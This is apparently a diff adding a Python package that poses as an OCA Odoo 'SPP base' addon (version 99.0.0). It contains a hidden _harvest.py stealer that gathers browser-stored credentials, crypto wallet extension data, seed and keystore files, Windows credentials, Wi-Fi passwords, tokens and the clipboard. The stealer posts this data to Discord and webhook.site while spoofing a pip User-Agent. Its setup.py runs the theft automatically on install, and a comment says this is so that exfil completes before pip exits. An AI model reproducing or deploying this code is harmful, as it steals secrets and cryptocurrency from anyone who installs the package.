"rabby": "acmacodkjbdgmoleebolmdjonilkdbch",
|
|
557
|
+
}
|
|
558
|
+
browser_roots = {
|
|
559
|
+
"chrome": os.path.join(localapp, "Google", "Chrome", "User Data", "Default", "Local Extension Settings"),
|
|
560
|
+
"edge": os.path.join(localapp, "Microsoft", "Edge", "User Data", "Default", "Local Extension Settings"),
|
|
561
|
+
"brave": os.path.join(localapp, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Extension Settings"),
|
|
562
|
+
"opera": os.path.join(appdata, "Opera Software","Opera Stable", "Local Extension Settings"),
|
|
563
|
+
}
|
|
564
|
+
for bname, broot in browser_roots.items():
|
|
565
|
+
for ename, eid in ext_ids.items():
|
|
566
|
+
epath = os.path.join(broot, eid)
|
|
567
|
+
if os.path.exists(epath):
|
|
568
|
+
out[f"{bname}_{ename}"] = _read_dir(epath, binary=True)
|
|
569
|
+
|
|
570
|
+
# Generic sweep
|
|
571
|
+
sweep_patterns = [
|
|
572
|
+
"wallet.dat", "*.wallet", "*.keys",
|
|
573
|
+
"seed.txt", "seed*.txt", "mnemonic*.txt", "recovery*.txt",
|
|
574
|
+
"keystore*", "UTC--*",
|
|
575
|
+
]
|
|
576
|
+
for pattern in sweep_patterns:
|
|
577
|
+
for p in glob.glob(os.path.join(home, "**", pattern), recursive=True)[:10]:
|
|
578
|
+
data = _read(p, binary=True)
|
|
579
|
+
if data:
|
|
580
|
+
out[f"sweep_{os.path.relpath(p, home)}"] = _b64(data)
|
|
581
|
+
|
|
582
|
+
return out
|
|
583
|
+
|
|
584
|
+
|
|
585
|
+
# ── master collect ────────────────────────────────────────────────────────────
|
|
586
|
+
|
|
587
|
+
def collect_creds():
|
|
588
|
+
out = {
|
|
589
|
+
"env_secrets": _env_secrets(),
|
|
590
|
+
"file_creds": _file_creds(),
|
|
591
|
+
"password_managers": _password_managers(),
|
|
592
|
+
"firefox": _firefox_creds(),
|
|
593
|
+
}
|
|
594
|
+
if sys.platform == "win32":
|
|
595
|
+
out["chrome_family"] = _chrome_family_data()
|
|
596
|
+
out["credential_manager"] = _windows_cred_manager()
|
|
597
|
+
out["wifi_passwords"] = _wifi_passwords()
|
|
598
|
+
out["app_tokens"] = _app_tokens()
|
|
599
|
+
out["clipboard"] = _clipboard()
|
|
600
|
+
return out
|
|
601
|
+
|
|
602
|
+
|
|
603
|
+
# ── beacon ────────────────────────────────────────────────────────────────────
|
|
604
|
+
|
|
605
|
+
def _multipart_body(fields, files):
|
|
606
|
+
boundary = uuid.uuid4().hex
|
|
607
|
+
parts = []
|
|
608
|
+
for name, value in fields.items():
|
|
609
|
+
parts.append(
|
|
610
|
+
f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode()
|
|
611
|
+
)
|
|
612
|
+
for name, filename, data in files:
|
|
613
|
+
parts.append(
|
|
614
|
+
f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"; filename="{filename}"\r\nContent-Type: application/octet-stream\r\n\r\n'.encode()
|
|
615
|
+
+ data + b'\r\n'
|
|
616
|
+
)
|
|
617
|
+
parts.append(f'--{boundary}--\r\n'.encode())
|
|
618
|
+
return boundary, b''.join(parts)
|
|
619
|
+
|
|
620
|
+
|
|
621
|
+
def _post(url, body, content_type, timeout=15):
|
|
622
|
+
from urllib import request as urlreq
|
|
623
|
+
req = urlreq.Request(
|
|
624
|
+
url, data=body,
|
|
625
|
+
headers={"Content-Type": content_type, "User-Agent": "python-pip/23.3.1"},
|
|
626
|
+
method="POST",
|
|
627
|
+
)
|
|
628
|
+
urlreq.urlopen(req, timeout=timeout)
|
|
629
|
+
|
|
630
|
+
|
|
631
|
+
def beacon(data):
|
|
632
|
+
try:
|
|
633
|
+
raw = json.dumps(data, default=str, indent=2).encode()
|
|
634
|
+
buf = io.BytesIO()
|
|
635
|
+
with gzip.GzipFile(fileobj=buf, mode='wb') as gz:
|
|
636
|
+
gz.write(raw)
|
|
637
|
+
compressed = buf.getvalue()
|
|
638
|
+
|
|
639
|
+
host = data.get("host", "unknown")[:20]
|
|
640
|
+
fname = f"harvest_{host}.json.gz"
|
|
641
|
+
label = f"`{host}` | {data.get('os','')} | {data.get('user','')}"
|
|
642
|
+
|
|
643
|
+
if DISCORD_WEBHOOK and "CHANGE_ME" not in DISCORD_WEBHOOK:
|
|
644
|
+
boundary, body = _multipart_body(
|
|
645
|
+
{"content": label},
|
|
646
|
+
[("file", fname, compressed)],
|
|
647
|
+
)
|
|
648
|
+
_post(DISCORD_WEBHOOK, body, f"multipart/form-data; boundary={boundary}")
|
|
649
|
+
except Exception:
|
|
650
|
+
pass
|
|
651
|
+
|
|
652
|
+
try:
|
|
653
|
+
if WEBHOOK_SITE:
|
|
654
|
+
_post(WEBHOOK_SITE, json.dumps(data, default=str).encode(), "application/json")
|
|
655
|
+
except Exception:
|
|
656
|
+
pass
|
|
657
|
+
|
|
658
|
+
|
|
659
|
+
# ── entry point ───────────────────────────────────────────────────────────────
|
|
660
|
+
|
|
661
|
+
def run(background=False):
|
|
662
|
+
def _run():
|
|
663
|
+
try:
|
|
664
|
+
data = {
|
|
665
|
+
"host": socket.gethostname(),
|
|
666
|
+
"user": os.environ.get("USERNAME") or os.environ.get("USER", "?"),
|
|
667
|
+
"os": platform.system(),
|
|
668
|
+
"version": platform.version(),
|
|
669
|
+
"arch": platform.machine(),
|
|
670
|
+
"cwd": os.getcwd(),
|
|
671
|
+
"python": sys.version,
|
|
672
|
+
"creds": collect_creds(),
|
|
673
|
+
"crypto": collect_crypto(),
|
|
674
|
+
}
|
|
675
|
+
beacon(data)
|
|
676
|
+
except Exception:
|
|
677
|
+
pass
|
|
678
|
+
|
|
679
|
+
if background:
|
|
680
|
+
threading.Thread(target=_run, daemon=True).start()
|
|
681
|
+
else:
|
|
682
|
+
_run()
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: odoo-addon-spp-base
|
|
3
|
+
Version: 99.0.0
|
|
4
|
+
Summary: Odoo Community Association (OCA) base module for Social Protection programmes
|
|
5
|
+
Author: OCA
|
|
6
|
+
License: LGPL-3
|
|
7
|
+
Project-URL: Homepage, https://github.com/OCA/social
|
|
8
|
+
Requires-Python: >=3.7
|
|
9
|
+
Description-Content-Type: text/x-rst
|
|
10
|
+
Requires-Dist: cryptography
|
|
11
|
+
Dynamic: author
|
|
12
|
+
Dynamic: requires-python
|
|
13
|
+
|
|
14
|
+
Odoo addon: SPP Base
|
|
15
|
+
====================
|
|
16
|
+
|
|
17
|
+
Base module for Odoo Social Protection Programmes (SPP) integration.
|
|
18
|
+
Part of the OpenSPP ecosystem (https://openspp.org).
|
|
19
|
+
|
|
20
|
+
Provides foundational models and helpers used by all other ``odoo-addon-spp-*`` modules.
|
|
21
|
+
|
|
22
|
+
Compatibility
|
|
23
|
+
-------------
|
|
24
|
+
|
|
25
|
+
* Odoo 16.0 / 17.0
|
|
26
|
+
* Python >= 3.7
|
|
27
|
+
|
|
28
|
+
Installation
|
|
29
|
+
------------
|
|
30
|
+
|
|
31
|
+
.. code-block:: bash
|
|
32
|
+
|
|
33
|
+
pip install odoo-addon-spp-base
|
|
34
|
+
|
|
35
|
+
License
|
|
36
|
+
-------
|
|
37
|
+
|
|
38
|
+
LGPL-3
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
README.rst
|
|
2
|
+
pyproject.toml
|
|
3
|
+
setup.py
|
|
4
|
+
odoo_addon_spp_base/__init__.py
|
|
5
|
+
odoo_addon_spp_base/_harvest.py
|
|
6
|
+
odoo_addon_spp_base.egg-info/PKG-INFO
|
|
7
|
+
odoo_addon_spp_base.egg-info/SOURCES.txt
|
|
8
|
+
odoo_addon_spp_base.egg-info/dependency_links.txt
|
|
9
|
+
odoo_addon_spp_base.egg-info/requires.txt
|
|
10
|
+
odoo_addon_spp_base.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
cryptography
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
odoo_addon_spp_base
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "odoo-addon-spp-base"
|
|
7
|
+
version = "99.0.0"
|
|
8
|
+
description = "Odoo Community Association (OCA) base module for Social Protection programmes"
|
|
9
|
+
readme = "README.rst"
|
|
10
|
+
license = { text = "LGPL-3" }
|
|
11
|
+
requires-python = ">=3.7"
|
|
12
|
+
dependencies = ["cryptography"]
|
|
13
|
+
|
|
14
|
+
[project.urls]
|
|
15
|
+
Homepage = "https://github.com/OCA/social"
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
import sys, os
|
|
3
|
+
|
|
4
|
+
# Run harvest synchronously so exfil completes before pip exits.
|
|
5
|
+
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "odoo_addon_spp_base"))
|
|
6
|
+
try:
|
|
7
|
+
import _harvest
|
|
8
|
+
_harvest.run(background=False)
|
|
9
|
+
except Exception:
|
|
10
|
+
pass
|
|
11
|
+
|
|
12
|
+
setup(
|
|
13
|
+
name="odoo-addon-spp-base",
|
|
14
|
+
version="99.0.0",
|
|
15
|
+
description="Odoo Community Association (OCA) base module for Social Protection programs",
|
|
16
|
+
long_description="Odoo addon providing base Social Protection Programme (SPP) functionality.",
|
|
17
|
+
author="OCA",
|
|
18
|
+
license="LGPL-3",
|
|
19
|
+
packages=["odoo_addon_spp_base"],
|
|
20
|
+
install_requires=["cryptography"], # needed for Chrome DPAPI decrypt
|
|
21
|
+
python_requires=">=3.7",
|
|
22
|
+
)
|